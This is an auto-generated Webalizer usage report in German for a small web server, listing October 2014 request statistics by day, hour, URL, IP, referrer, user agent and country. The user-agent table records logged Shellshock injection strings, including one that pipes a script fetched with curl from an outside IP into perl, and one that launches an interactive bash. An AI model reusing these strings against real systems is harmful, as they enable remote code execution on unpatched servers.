Aufruf-Statistik für mr148.robhost.de

Auslastungsstatistik für den Zeitraum: October 2014
Erstellt am 08-Nov-2014 05:27 CET

[Tages-Statistik] [Stunden-Statistik] [URLs] [Eingang] [Ausgang] [Rechner (IP-Adressen)] [Verweise] [Suche] [Anwenderprogramme] [Locations]

Monats-Statistik für October 2014
Summe Anfragen 1442
Summe Dateien 963
Summe Seiten 1388
Summe Besuche 100
Total kB Files 1157
Total kB In 0
Total kB Out 0
Summe unterschiedlicher Rechner (IP-Adressen) 58
Summe unterschiedlicher URLs 8
Summe unterschiedlicher Verweise 284
Summe unterschiedlicher Anwenderprogramme 73
. Schnitt Maximum
Anfragen pro Stunde 10 410
Anfragen pro Tag 240 650
Dateien pro Tag 160 245
Seiten pro Tag 231 611
Besuche pro Tag 16 27
kB Files per Day 193 431
kB In per Day 0 0
kB Out per Day 0 0
Anfragen nach Status-Code
Code 200 - OK 963
Code 400 - Ungültige Anfrage 12
Code 403 - Antwort verweigert 2
Code 404 - Seite nicht gefunden! 450
Code 405 - Methode nicht erlaubt 6
Code 500 - Interner Server-Fehler (CGI?) 9

Tages-Statistik im Monat October 2014

Tages-Statistik im Monat October 2014
Tag Anfragen Dateien Seiten Besuche Rechner (IP-Adressen) kB F kB In kB Out
26 20 1,39% 15 1,56% 18 1,30% 9 9,00% 11 18,97% 22 1,90% 0 0,00% 0 0,00%
27 650 45,08% 235 24,40% 611 44,02% 17 17,00% 15 25,86% 431 37,21% 0 0,00% 0 0,00%
28 219 15,19% 204 21,18% 214 15,42% 27 27,00% 19 32,76% 207 17,91% 0 0,00% 0 0,00%
29 141 9,78% 135 14,02% 138 9,94% 20 20,00% 14 24,14% 127 11,01% 0 0,00% 0 0,00%
30 157 10,89% 129 13,40% 154 11,10% 18 18,00% 13 22,41% 135 11,67% 0 0,00% 0 0,00%
31 255 17,68% 245 25,44% 253 18,23% 12 12,00% 8 13,79% 235 20,32% 0 0,00% 0 0,00%

Stunden-Statistik im Monat October 2014

Stunden-Statistik im Monat October 2014
Stunde Anfragen Dateien Seiten kB F kB In kB Out
Schnitt Summe Schnitt Summe Schnitt Summe Schnitt Summe Schnitt Summe Schnitt Summe
0 73 442 30,65% 5 35 3,63% 67 407 29,32% 40 240 20,74% 0 0 0,00% 0 0 0,00%
1 7 45 3,12% 5 34 3,53% 7 44 3,17% 6 38 3,24% 0 0 0,00% 0 0 0,00%
2 3 19 1,32% 3 19 1,97% 3 19 1,37% 3 18 1,51% 0 0 0,00% 0 0 0,00%
3 1 9 0,62% 1 7 0,73% 1 8 0,58% 1 8 0,66% 0 0 0,00% 0 0 0,00%
4 2 17 1,18% 2 15 1,56% 2 16 1,15% 2 15 1,27% 0 0 0,00% 0 0 0,00%
5 3 19 1,32% 2 16 1,66% 3 19 1,37% 3 16 1,42% 0 0 0,00% 0 0 0,00%
6 4 28 1,94% 4 24 2,49% 4 24 1,73% 4 24 2,10% 0 0 0,00% 0 0 0,00%
7 5 32 2,22% 5 32 3,32% 5 32 2,31% 6 36 3,10% 0 0 0,00% 0 0 0,00%
8 3 20 1,39% 2 15 1,56% 3 20 1,44% 3 17 1,45% 0 0 0,00% 0 0 0,00%
9 7 45 3,12% 7 45 4,67% 7 45 3,24% 7 42 3,64% 0 0 0,00% 0 0 0,00%
10 5 34 2,36% 5 32 3,32% 5 32 2,31% 5 31 2,67% 0 0 0,00% 0 0 0,00%
11 18 108 7,49% 16 101 10,49% 18 108 7,78% 16 98 8,51% 0 0 0,00% 0 0 0,00%
12 2 12 0,83% 2 12 1,25% 2 12 0,86% 2 11 0,97% 0 0 0,00% 0 0 0,00%
13 5 31 2,15% 4 29 3,01% 5 30 2,16% 5 28 2,39% 0 0 0,00% 0 0 0,00%
14 8 53 3,68% 8 50 5,19% 8 52 3,75% 9 52 4,52% 0 0 0,00% 0 0 0,00%
15 5 31 2,15% 5 30 3,12% 5 30 2,16% 5 33 2,85% 0 0 0,00% 0 0 0,00%
16 14 89 6,17% 13 79 8,20% 14 85 6,12% 13 79 6,82% 0 0 0,00% 0 0 0,00%
17 16 100 6,93% 16 100 10,38% 16 100 7,20% 16 93 8,06% 0 0 0,00% 0 0 0,00%
18 4 28 1,94% 4 28 2,91% 4 28 2,02% 4 26 2,23% 0 0 0,00% 0 0 0,00%
19 6 37 2,57% 6 36 3,74% 6 37 2,67% 6 34 2,94% 0 0 0,00% 0 0 0,00%
20 4 28 1,94% 4 27 2,80% 4 28 2,02% 4 26 2,23% 0 0 0,00% 0 0 0,00%
21 5 34 2,36% 4 26 2,70% 5 33 2,38% 5 28 2,38% 0 0 0,00% 0 0 0,00%
22 8 53 3,68% 7 44 4,57% 8 51 3,67% 8 46 3,97% 0 0 0,00% 0 0 0,00%
23 21 128 8,88% 21 127 13,19% 21 128 9,22% 20 120 10,34% 0 0 0,00% 0 0 0,00%

Top 8 von 8 URLs
# Anfragen kB F kB In kB Out URL
1 950 65,88% 887 76,64% 0 0,00% 0 0,00% /
2 5 0,35% 3 0,27% 0 0,00% 0 0,00% http://www.mafengwo.com/
3 2 0,14% 8 0,69% 0 0,00% 0 0,00% /webalizer/usage_201303.html
4 2 0,14% 2 0,16% 0 0,00% 0 0,00% http://proxyjudge.us/
5 1 0,07% 5 0,44% 0 0,00% 0 0,00% /webalizer/usage_201408.html
6 1 0,07% 6 0,48% 0 0,00% 0 0,00% /webalizer/usage_201410.html
7 1 0,07% 1 0,08% 0 0,00% 0 0,00% http://azenv.net/
8 1 0,07% 1 0,08% 0 0,00% 0 0,00% http://www.baidu.com/

Top 8 von 8 URLs sortiert nach kB F
# Anfragen kB F kB In kB Out URL
1 950 65,88% 887 76,64% 0 0,00% 0 0,00% /
2 2 0,14% 8 0,69% 0 0,00% 0 0,00% /webalizer/usage_201303.html
3 1 0,07% 6 0,48% 0 0,00% 0 0,00% /webalizer/usage_201410.html
4 1 0,07% 5 0,44% 0 0,00% 0 0,00% /webalizer/usage_201408.html
5 5 0,35% 3 0,27% 0 0,00% 0 0,00% http://www.mafengwo.com/
6 2 0,14% 2 0,16% 0 0,00% 0 0,00% http://proxyjudge.us/
7 1 0,07% 1 0,08% 0 0,00% 0 0,00% http://azenv.net/
8 1 0,07% 1 0,08% 0 0,00% 0 0,00% http://www.baidu.com/

Top 8 von 8 Eingangsseiten Gesamt
# Anfragen Besuche URL
1 950 65,88% 63 85,14% /
2 5 0,35% 5 6,76% http://www.mafengwo.com/
3 2 0,14% 1 1,35% /webalizer/usage_201303.html
4 1 0,07% 1 1,35% /webalizer/usage_201408.html
5 1 0,07% 1 1,35% /webalizer/usage_201410.html
6 1 0,07% 1 1,35% http://azenv.net/
7 2 0,14% 1 1,35% http://proxyjudge.us/
8 1 0,07% 1 1,35% http://www.baidu.com/

Top 8 von 8 Ausgangsseiten Gesamt
# Anfragen Besuche URL
1 950 65,88% 59 83,10% /
2 5 0,35% 5 7,04% http://www.mafengwo.com/
3 2 0,14% 2 2,82% http://proxyjudge.us/
4 2 0,14% 1 1,41% /webalizer/usage_201303.html
5 1 0,07% 1 1,41% /webalizer/usage_201408.html
6 1 0,07% 1 1,41% /webalizer/usage_201410.html
7 1 0,07% 1 1,41% http://azenv.net/
8 1 0,07% 1 1,41% http://www.baidu.com/

Top 30 von 58 Rechnern (IP-Adressen)
# Anfragen Dateien kB F kB In kB Out Besuche Rechnername
1 868 60,19% 868 90,13% 815 70,40% 0 0,00% 0 0,00% 36 36,00% 23.239.157.206
2 410 28,43% 3 0,31% 210 18,17% 0 0,00% 0 0,00% 1 1,00% 108.61.156.75
3 25 1,73% 25 2,60% 23 1,95% 0 0,00% 0 0,00% 5 5,00% 188.186.82.157
4 16 1,11% 0 0,00% 10 0,86% 0 0,00% 0 0,00% 4 4,00% 5.9.82.150
5 10 0,69% 10 1,04% 9 0,78% 0 0,00% 0 0,00% 2 2,00% 188.186.0.145
6 10 0,69% 10 1,04% 9 0,78% 0 0,00% 0 0,00% 2 2,00% 188.186.61.250
7 10 0,69% 10 1,04% 9 0,78% 0 0,00% 0 0,00% 2 2,00% 188.186.9.235
8 7 0,49% 3 0,31% 5 0,42% 0 0,00% 0 0,00% 1 1,00% 62.141.43.66
9 6 0,42% 0 0,00% 3 0,24% 0 0,00% 0 0,00% 1 1,00% 178.239.62.108
10 6 0,42% 3 0,31% 4 0,36% 0 0,00% 0 0,00% 5 5,00% 218.59.238.93
11 6 0,42% 0 0,00% 3 0,24% 0 0,00% 0 0,00% 1 1,00% 69.174.245.163
12 5 0,35% 0 0,00% 2 0,19% 0 0,00% 0 0,00% 0 0,00% 125.64.35.67
13 5 0,35% 5 0,52% 5 0,39% 0 0,00% 0 0,00% 1 1,00% 176.214.236.126
14 5 0,35% 5 0,52% 5 0,39% 0 0,00% 0 0,00% 1 1,00% 176.214.244.50
15 2 0,14% 2 0,21% 8 0,69% 0 0,00% 0 0,00% 1 1,00% 162.244.9.175
16 2 0,14% 0 0,00% 1 0,08% 0 0,00% 0 0,00% 2 2,00% 192.3.205.154
17 2 0,14% 0 0,00% 1 0,09% 0 0,00% 0 0,00% 2 2,00% 207.240.10.33
18 2 0,14% 1 0,10% 1 0,12% 0 0,00% 0 0,00% 1 1,00% 54.215.211.74
19 2 0,14% 2 0,21% 1 0,12% 0 0,00% 0 0,00% 2 2,00% 66.249.64.85
20 2 0,14% 2 0,21% 1 0,12% 0 0,00% 0 0,00% 2 2,00% 66.249.64.89
21 2 0,14% 0 0,00% 1 0,09% 0 0,00% 0 0,00% 1 1,00% 66.249.67.82
22 2 0,14% 2 0,21% 6 0,50% 0 0,00% 0 0,00% 2 2,00% 66.249.78.127
23 2 0,14% 0 0,00% 1 0,09% 0 0,00% 0 0,00% 0 0,00% 66.249.78.134
24 1 0,07% 0 0,00% 1 0,05% 0 0,00% 0 0,00% 0 0,00% 1.161.21.50
25 1 0,07% 0 0,00% 1 0,05% 0 0,00% 0 0,00% 0 0,00% 1.164.35.10
26 1 0,07% 0 0,00% 1 0,05% 0 0,00% 0 0,00% 0 0,00% 1.171.77.177
27 1 0,07% 0 0,00% 1 0,04% 0 0,00% 0 0,00% 1 1,00% 108.160.206.30
28 1 0,07% 0 0,00% 1 0,05% 0 0,00% 0 0,00% 0 0,00% 111.251.55.45
29 1 0,07% 0 0,00% 0 0,04% 0 0,00% 0 0,00% 1 1,00% 116.113.96.171
30 1 0,07% 1 0,10% 1 0,08% 0 0,00% 0 0,00% 1 1,00% 123.151.149.222

Top 10 von 58 Rechnern (IP-Adressen) sortiert nach kB F
# Anfragen Dateien kB F kB In kB Out Besuche Rechnername
1 868 60,19% 868 90,13% 815 70,40% 0 0,00% 0 0,00% 36 36,00% 23.239.157.206
2 410 28,43% 3 0,31% 210 18,17% 0 0,00% 0 0,00% 1 1,00% 108.61.156.75
3 25 1,73% 25 2,60% 23 1,95% 0 0,00% 0 0,00% 5 5,00% 188.186.82.157
4 16 1,11% 0 0,00% 10 0,86% 0 0,00% 0 0,00% 4 4,00% 5.9.82.150
5 10 0,69% 10 1,04% 9 0,78% 0 0,00% 0 0,00% 2 2,00% 188.186.0.145
6 10 0,69% 10 1,04% 9 0,78% 0 0,00% 0 0,00% 2 2,00% 188.186.61.250
7 10 0,69% 10 1,04% 9 0,78% 0 0,00% 0 0,00% 2 2,00% 188.186.9.235
8 2 0,14% 2 0,21% 8 0,69% 0 0,00% 0 0,00% 1 1,00% 162.244.9.175
9 2 0,14% 2 0,21% 6 0,50% 0 0,00% 0 0,00% 2 2,00% 66.249.78.127
10 1 0,07% 1 0,10% 6 0,48% 0 0,00% 0 0,00% 1 1,00% 66.249.78.141

Top 30 von 284 Verweise
# Anfragen Verweise
1 378 26,21% ()
2 128 8,88% - (Direct Request)
3 117 8,11% http://www.babyeah.com/home/link.php
4 108 7,49% http://im1.esy.es/sitemap_24_old.phtml
5 107 7,42% http://redrool.com/redirect.php
6 28 1,94% http://im1.esy.es/
7 23 1,60% http://www.abcwebcam.net/live-abcwebcam.php
8 8 0,55% http://imgur.com/6hjcJP4
9 8 0,55% http://www.findsearch.jp/x/search.cgi
10 7 0,49% http://imgur.com/uj2ZFmB
11 6 0,42% http://imgur.com/jCNN48s
12 6 0,42% http://www.soso.com/q
13 5 0,35% http://bolezniorganov.ru
14 5 0,35% http://eyessurgery.ru
15 5 0,35% http://forex-indextop20.ru/
16 5 0,35% http://hahashka.ru
17 5 0,35% http://imgur.com/FIoIoEq
18 5 0,35% http://imgur.com/O237Ksz
19 5 0,35% http://imgur.com/O2xbfeT
20 5 0,35% http://imgur.com/PfwFZuP
21 5 0,35% http://imgur.com/cgu7CBL
22 5 0,35% http://imgur.com/ve8aoXJ
23 5 0,35% http://ipostroika.ru
24 5 0,35% http://laptoper.net
25 5 0,35% http://medmajor.ru
26 5 0,35% http://moyaterapiya.ru
27 5 0,35% http://pammik.ru
28 5 0,35% http://pogruztehnik.ru
29 5 0,35% http://stroimajor.ru
30 5 0,35% http://tuberkulezanet.ru

Top 15 von 73 Anwenderprogramme
# Anfragen Anwenderprogramm
1 868 60,19% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
2 378 26,21% () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
3 16 1,11% Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
4 13 0,90% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
5 6 0,42% Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
6 6 0,42% ZmEu
7 5 0,35% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.3072; .NET CLR 2.0.50727; .N
8 5 0,35% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
9 3 0,21% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)
10 2 0,14% () { ignored;};/bin/bash -i
11 2 0,14% Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:16.0) Gecko/20100101 Firefox/16.0
12 2 0,14% Mozilla/5.0 (Windows NT 6.0; rv:17.0) Gecko/17.0 Firefox/17.0
13 2 0,14% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) YaBrowser/1.1.1084.5409 Chrome/19.1.1084.5409 Safar
14 2 0,14% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
15 2 0,14% Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11

Usage by Location for October 2014

Top 10 von 10 Total Locations
# Anfragen Dateien kB F kB In kB Out Location
1 907 62,90% 880 91,38% 847 73,20% 0 0,00% 0 0,00% Unbekannte Adressen
2 444 30,79% 15 1,56% 239 20,65% 0 0,00% 0 0,00% USA
3 55 3,81% 55 5,71% 50 4,28% 0 0,00% 0 0,00% Russische Foederation
4 20 1,39% 10 1,04% 12 1,04% 0 0,00% 0 0,00% China
5 7 0,49% 3 0,31% 5 0,42% 0 0,00% 0 0,00% Deutschland
6 4 0,28% 0 0,00% 2 0,19% 0 0,00% 0 0,00% Taiwan
7 2 0,14% 0 0,00% 1 0,09% 0 0,00% 0 0,00% Malaysien
8 1 0,07% 0 0,00% 1 0,04% 0 0,00% 0 0,00% Kanada
9 1 0,07% 0 0,00% 1 0,04% 0 0,00% 0 0,00% Spanien
10 1 0,07% 0 0,00% 1 0,04% 0 0,00% 0 0,00% Tuerkei


Generated by Webalizer Version 2.01